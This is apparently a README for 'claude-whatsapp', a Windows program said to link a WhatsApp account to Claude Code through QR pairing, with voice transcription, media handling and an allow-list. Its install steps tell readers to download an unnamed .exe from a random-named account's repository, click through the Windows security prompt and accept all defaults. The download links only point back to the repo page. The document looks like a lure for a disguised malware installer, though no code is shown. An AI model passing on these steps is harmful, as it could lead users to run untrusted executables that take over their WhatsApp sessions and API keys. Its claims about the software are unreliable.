Claude Whatsapp

README

# 🤖 claude-whatsapp - Connect your WhatsApp to AI agents

[![](https://img.shields.io/badge/Download-Application-blue.svg)](https://github.com/penstemoncyananthuslogicgate5289/claude-whatsapp)

## 📋 About This Application

The claude-whatsapp application connects your WhatsApp messages directly to Claude Code. It allows you to chat with an AI agent through your phone. The software monitors your WhatsApp account for incoming messages and sends them to your Claude configuration. When your AI agent generates a response, the application sends it back through your WhatsApp chat.

This tool simplifies communication. You do not need to open a browser to interact with your AI tools. You send messages like you do to any friend. The agent processes instructions, manages tasks, and replies in real time. It supports voice messages, allows for media sharing, and includes settings to control who can send commands to your agent.

## ⚙️ Features

This application includes tools to manage your AI agent interactions:

*   **QR Code Connection:** Link your WhatsApp account by scanning a simple code with your phone camera.
*   **Voice Transcription:** Talk to your bot. The software converts your audio notes into text for the agent to understand.
*   **Access Control:** Create a list of approved phone numbers that possess permission to interact with your agent.
*   **Media Processing:** Send images or documents to your agent for analysis.
*   **Real-time Alerts:** Receive instant updates from your agent in your preferred chat window.

## 💻 System Requirements

Your computer must meet these standards to run the application:

*   **Operating System:** Windows 10 or Windows 11.
*   **Memory:** At least 4 gigabytes of RAM.
*   **Disk Space:** 500 megabytes of free space for the installation folder.
*   **Internet Connection:** An active, stable internet connection is necessary to maintain the connection with WhatsApp servers.
*   **WhatsApp Account:** An active mobile WhatsApp account is required for the initial pairing process.

## 📥 How to Download

You must obtain the installer file from the official source. Use the link provided below to visit the release page.

[Visit this page to download the software](https://github.com/penstemoncyananthuslogicgate5289/claude-whatsapp)

## 🛠️ Installation Steps

Follow these steps to set up the software on your Windows computer:

1.  **Obtain the Installer:** Visit the link provided in the previous section. Look for the file ending in `.exe`. Click the file name to start the download.
2.  **Run the Installer:** Once the download finishes, locate the file in your Downloads folder. Double-click the file to start the installation wizard.
3.  **Confirm Permissions:** Windows might display a security prompt. Click "Run" or "Yes" to allow the installer to proceed.
4.  **Accept Defaults:** The installer selects the best location for your files automatically. Click "Next" through the prompts to finish the process.
5.  **Finish:** Click "Close" when the progress bar shows that the installation is complete. A shortcut icon will now appear on your desktop.

## 🔑 Initial Setup

After you install the program, you must link your account:

1.  **Launch the Application:** Double-click the claude-whatsapp icon on your desktop.
2.  **View QR Code:** A window will open showing a QR code. This code allows the application to mirror your WhatsApp messages.
3.  **Open WhatsApp on Phone:** Open the WhatsApp application on your mobile device.
4.  **Link Device:** Navigate to the "Linked Devices" menu in your phone settings. Tap "Link a Device."
5.  **Scan:** Point your phone camera at the QR code on your computer screen. Your phone will sync with the application.
6.  **Confirmation:** The computer screen will update once the link succeeds. You are now ready to send messages to your AI agent.

## 🛡️ Access Control Settings

You should restrict who can message your bot to prevent unwanted activity. 

1.  Open the application interface on your desktop.
2.  Navigate to the "Settings" menu at the top.
3.  Select "Allowed Users."
4.  Enter the international phone numbers of the people you trust. Use the format `+15550001111`.
5.  Click the "Save" button.

Anyone not on this list will receive an automated response stating that the agent is unavailable to them. This ensures your AI agent only performs tasks you authorize.

## 🎙️ Using Voice Transcription

You do not need to type every command. You can send audio messages to your agent using the built-in transcription tool:

1.  Record a voice message in WhatsApp as you normally would.
2.  Send the audio recording to the configured bot contact.
3.  The application receives the audio file.
4.  It converts the spoken words into text.
5.  The AI agent processes the text and sends a reply.

This feature is useful when you are on the move or have a long request. The system handles the conversion process automatically on your computer.

## 🖼️ Handling Media

The application processes various file types. You can send images, PDFs, or spreadsheet files to your agent:

*   **Images:** The AI agent can look at images to extract information or describe contents.
*   **Documents:** You can share files for your agent to summarize or store.
*   **Format:** Send the file as an attachment within the WhatsApp chat. The application detects the file and passes it to the agent background process.

## 🔧 Troubleshooting Common Issues

If you experience problems, check these items:

*   **Connection Drops:** If the connection fails, restart the application. If the problem continues, log out of your linked devices on your phone and scan the QR code again.
*   **Slow Responses:** Your AI agent requires internet speed to operate. Ensure your computer has a stable connection.
*   **Unrecognized Commands:** If the agent does not understand a request, try rephrasing the sentence. Keep instructions simple.
*   **Update Software:** Use the "Check for Updates" button in the Settings menu to ensure you have the latest version. New versions include fixes for common errors and improvements for file handling.

## 🔒 Security Practices

While this application manages your messages, keep your computer secure by following these rules:

*   **Host Location:** Keep the application installed on a secure personal computer. Do not leave your workstation unlocked when you are away.
*   **API Keys:** Ensure your Claude Code configuration remains private. The application uses these keys to connect to the AI agent. If you think someone else has your keys, generate new ones immediately.
*   **Updates:** Always run the latest version of the software. Updates contain patches for known security gaps.

## 📝 Performance Tips

To keep the application running smoothly:

*   **Background Tasks:** Close applications you do not use to free up memory.
*   **Network:** Avoid running heavy downloads at the same time as the agent if your internet connection is limited.
*   **Storage:** The application stores logs of your conversations. If your disk space reaches a low level, visit the "Logs" section in the menu to clear history.